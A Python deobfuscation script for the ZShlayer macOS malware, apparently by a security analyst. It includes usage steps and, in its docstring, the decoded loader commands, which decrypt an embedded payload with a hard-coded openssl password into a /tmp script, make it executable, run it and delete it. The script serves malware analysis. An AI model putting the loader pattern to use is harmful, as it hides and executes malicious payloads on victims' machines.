ZShlayer Malware Decode Script

#!/usr/bin/env python3

"""
This script takes an obfuscated ZShlayer executable ("the target file") and enables its output to be read in plain text.
See: https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer

1. prep the target file by first saving it with linebreaks after every SEMICOLON
    e.g., search and replace ";" with ";\n"

2. change line 56 below to the path to the target file

3. change line 63 below by getting the obfuscated function name from the last two lines of the target file (see the post cited above for more details).

4. run this script in Terminal and save output to a variable, then use printf $variable to get the unicode to print out in ascii.
    eg., output=`./decode_zsh_script.py`
         printf $output

Output should be something along these lines:

    cd "$(dirname "$0")"&&fileDir="$(dirname "$(pwd -P)")"&&cd "$fileDir/Resources"
    sf1="/tmp/$RANDOM.sh"
    openssl enc -base64 -d -aes-256-cbc -nosalt -pass "pass:10560469046"<undercharge_multidimensional_Berettas >
     "$sf1"
    chmod 777 "$sf1"
    "$sf1"
    rm "$sf1"';'

"""

def getClearForLine(l):
    if "=" in l:
        cs = l.split("=")
        obscure = cs[0]
        clr = cs[1][:-2]
        clr.strip()
        clr = clr+"\'"
        obscure.strip()
        return obscure,clr
    else:
        return l,l


searchArray = []
f = open("/Users/user/Desktop/railleries", "r")     # adjust as required
filedata = f.read()
f.close()

linesplit = "\n"
lines = filedata.split(linesplit)
for l in lines:
    if "TWm" not in l:                  # replace with variable name used in your ZShlayer script; see note 3 above
        obs,clr = getClearForLine(l)
        searchArray.append([obs,clr])

for ob,cl in searchArray:
    filedata = filedata.replace(ob, (cl))

scr = filedata.split("\n")
str = ""
for s in scr:
    if len(s) > 0:
        if "$" in s:
            str = str+s
str = str.replace("\'}${\'", "")
str = str.replace("$", "")
str = str.replace("})", "")
str = str.replace("({", "")
str = str.replace("\'} {\'", " ")
scrpts = str.split("echo -e")

for sc in scrpts:
    if len(sc) > 0:
        if "\\" in sc[0:2]:
            s = sc[1:]
            print(u"{}".format(s))